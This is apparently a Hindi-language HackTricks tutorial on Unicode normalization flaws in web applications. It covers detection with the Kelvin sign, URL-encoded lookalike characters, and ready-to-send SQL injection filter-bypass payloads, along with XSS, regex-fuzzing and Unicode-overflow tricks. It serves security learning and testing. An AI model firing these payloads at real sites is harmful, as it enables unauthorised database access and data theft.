Unicode Normalization
Reading time: 8 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह एक सारांश है: https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/. आगे की जानकारी के लिए देखें (छवियाँ वहाँ से ली गई हैं)।
Unicode और Normalization को समझना
Unicode normalization एक प्रक्रिया है जो सुनिश्चित करती है कि वर्णों के विभिन्न बाइनरी प्रतिनिधित्व को एक ही बाइनरी मान में मानकीकृत किया जाए। यह प्रक्रिया प्रोग्रामिंग और डेटा प्रोसेसिंग में स्ट्रिंग्स के साथ काम करते समय महत्वपूर्ण है। Unicode मानक दो प्रकार की वर्ण समकक्षता को परिभाषित करता है:
- Canonical Equivalence: वर्णों को कैनोनिकल रूप से समकक्ष माना जाता है यदि उनका प्रिंट या डिस्प्ले पर एक ही रूप और अर्थ होता है।
- Compatibility Equivalence: समकक्षता का एक कमजोर रूप जहाँ वर्ण एक ही अमूर्त वर्ण का प्रतिनिधित्व कर सकते हैं लेकिन अलग-अलग तरीके से प्रदर्शित हो सकते हैं।
चार Unicode normalization एल्गोरिदम हैं: NFC, NFD, NFKC, और NFKD। प्रत्येक एल्गोरिदम कैनोनिकल और संगतता मानकीकरण तकनीकों का उपयोग अलग-अलग तरीके से करता है। अधिक गहन समझ के लिए, आप इन तकनीकों का अन्वेषण कर सकते हैं Unicode.org पर।
Unicode Encoding पर मुख्य बिंदु
Unicode encoding को समझना महत्वपूर्ण है, विशेष रूप से विभिन्न प्रणालियों या भाषाओं के बीच इंटरऑपरेबिलिटी मुद्दों से निपटते समय। यहाँ मुख्य बिंदु हैं:
- कोड पॉइंट और वर्ण: Unicode में, प्रत्येक वर्ण या प्रतीक को एक संख्यात्मक मान सौंपा जाता है जिसे "कोड पॉइंट" कहा जाता है।
- बाइट्स प्रतिनिधित्व: कोड पॉइंट (या वर्ण) को मेमोरी में एक या अधिक बाइट्स द्वारा प्रदर्शित किया जाता है। उदाहरण के लिए, LATIN-1 वर्ण (अंग्रेजी बोलने वाले देशों में सामान्य) एक बाइट का उपयोग करके प्रदर्शित होते हैं। हालाँकि, जिन भाषाओं में वर्णों का बड़ा सेट होता है, उन्हें प्रतिनिधित्व के लिए अधिक बाइट्स की आवश्यकता होती है।
- Encoding: यह शब्द वर्णों को बाइट्स की एक श्रृंखला में परिवर्तित करने के तरीके को संदर्भित करता है। UTF-8 एक प्रचलित एन्कोडिंग मानक है जहाँ ASCII वर्णों को एक बाइट का उपयोग करके प्रदर्शित किया जाता है, और अन्य वर्णों के लिए चार बाइट्स तक।
- डेटा प्रोसेसिंग: डेटा प्रोसेसिंग करने वाली प्रणालियों को एन्कोडिंग के बारे में जागरूक होना चाहिए ताकि बाइट स्ट्रीम को सही तरीके से वर्णों में परिवर्तित किया जा सके।
- UTF के रूप: UTF-8 के अलावा, अन्य एन्कोडिंग मानक हैं जैसे UTF-16 (कम से कम 2 बाइट्स का उपयोग करते हुए, अधिकतम 4) और UTF-32 (सभी वर्णों के लिए 4 बाइट्स का उपयोग करते हुए)।
इन अवधारणाओं को समझना महत्वपूर्ण है ताकि Unicode की जटिलता और इसके विभिन्न एन्कोडिंग तरीकों से उत्पन्न संभावित मुद्दों को प्रभावी ढंग से संभाला और कम किया जा सके।
Unicode के दो अलग-अलग बाइट्स को एक ही वर्ण का प्रतिनिधित्व करने के तरीके का एक उदाहरण:
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
एक सूची Unicode समकक्ष वर्णों की यहाँ पाई जा सकती है: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html और https://0xacb.com/normalization_table
खोज
यदि आप किसी वेब ऐप के अंदर एक ऐसा मान ढूंढ सकते हैं जो वापस इको हो रहा है, तो आप ‘KELVIN SIGN’ (U+0212A) भेजने की कोशिश कर सकते हैं जो "K" में सामान्यीकृत होता है (आप इसे %e2%84%aa
के रूप में भेज सकते हैं)। यदि "K" वापस इको होता है, तो कुछ प्रकार की Unicode सामान्यीकरण की प्रक्रिया की जा रही है।
अन्य उदाहरण: %F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83
के बाद unicode Leonishan
है।
कमजोर उदाहरण
SQL Injection फ़िल्टर बायपास
कल्पना कीजिए एक वेब पृष्ठ जो उपयोगकर्ता इनपुट के साथ SQL क्वेरी बनाने के लिए वर्ण '
का उपयोग कर रहा है। यह वेब, एक सुरक्षा उपाय के रूप में, उपयोगकर्ता इनपुट से वर्ण '
के सभी उदाहरणों को हटाता है, लेकिन उस हटाने के बाद और क्वेरी बनाने से पहले, यह उपयोगकर्ता के इनपुट को Unicode का उपयोग करके सामान्यीकृत करता है।
फिर, एक दुर्भावनापूर्ण उपयोगकर्ता एक अलग Unicode वर्ण डाल सकता है जो ' (0x27)
के समकक्ष है जैसे %ef%bc%87
, जब इनपुट सामान्यीकृत होता है, तो एक सिंगल कोट बनाया जाता है और एक SQLInjection भेद्यता प्रकट होती है:
कुछ दिलचस्प Unicode वर्ण
o
-- %e1%b4%bcr
-- %e1%b4%bf1
-- %c2%b9=
-- %e2%81%bc/
-- %ef%bc%8f-
-- %ef%b9%a3#
-- %ef%b9%9f*
-- %ef%b9%a1'
-- %ef%bc%87"
-- %ef%bc%82|
-- %ef%bd%9c
' or 1=1-- -
%ef%bc%87+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
" or 1=1-- -
%ef%bc%82+%e1%b4%bc%e1%b4%bf+%c2%b9%e2%81%bc%c2%b9%ef%b9%a3%ef%b9%a3+%ef%b9%a3
' || 1==1//
%ef%bc%87+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
" || 1==1//
%ef%bc%82+%ef%bd%9c%ef%bd%9c+%c2%b9%e2%81%bc%e2%81%bc%c2%b9%ef%bc%8f%ef%bc%8f
sqlmap template
GitHub - carlospolop/sqlmap_to_unicode_template
XSS (Cross Site Scripting)
आप निम्नलिखित में से किसी एक चरित्र का उपयोग करके वेब ऐप को धोखा दे सकते हैं और XSS का शोषण कर सकते हैं:
ध्यान दें कि उदाहरण के लिए, पहले Unicode चरित्र को इस प्रकार भेजा जा सकता है: %e2%89%ae
या %u226e
Fuzzing Regexes
जब बैकएंड उपयोगकर्ता इनपुट को regex के साथ जांच रहा है, तो यह संभव है कि इनपुट को regex के लिए normalize किया जा रहा हो लेकिन जहां इसका उपयोग किया जा रहा है वहां नहीं। उदाहरण के लिए, एक Open Redirect या SSRF में regex भेजे गए URL को normalize कर सकता है लेकिन फिर इसे जैसा है वैसा ही एक्सेस कर सकता है।
उपकरण recollapse इनपुट के विभिन्न रूपों को उत्पन्न करने की अनुमति देता है ताकि बैकएंड को fuzz किया जा सके। अधिक जानकारी के लिए github और इस पोस्ट की जांच करें।
Unicode Overflow
इस ब्लॉग से, एक बाइट का अधिकतम मान 255 है, यदि सर्वर कमजोर है, तो एक ओवरफ्लो को एक विशिष्ट और अप्रत्याशित ASCII चरित्र उत्पन्न करने के लिए तैयार किया जा सकता है। उदाहरण के लिए, निम्नलिखित चरित्र A
में परिवर्तित होंगे:
- 0x4e41
- 0x4f41
- 0x5041
- 0x5141
References
- https://labs.spotify.com/2013/06/18/creative-usernames/
- https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work
- https://jlajara.gitlab.io/posts/2020/02/19/Bypass_WAF_Unicode.html
- https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।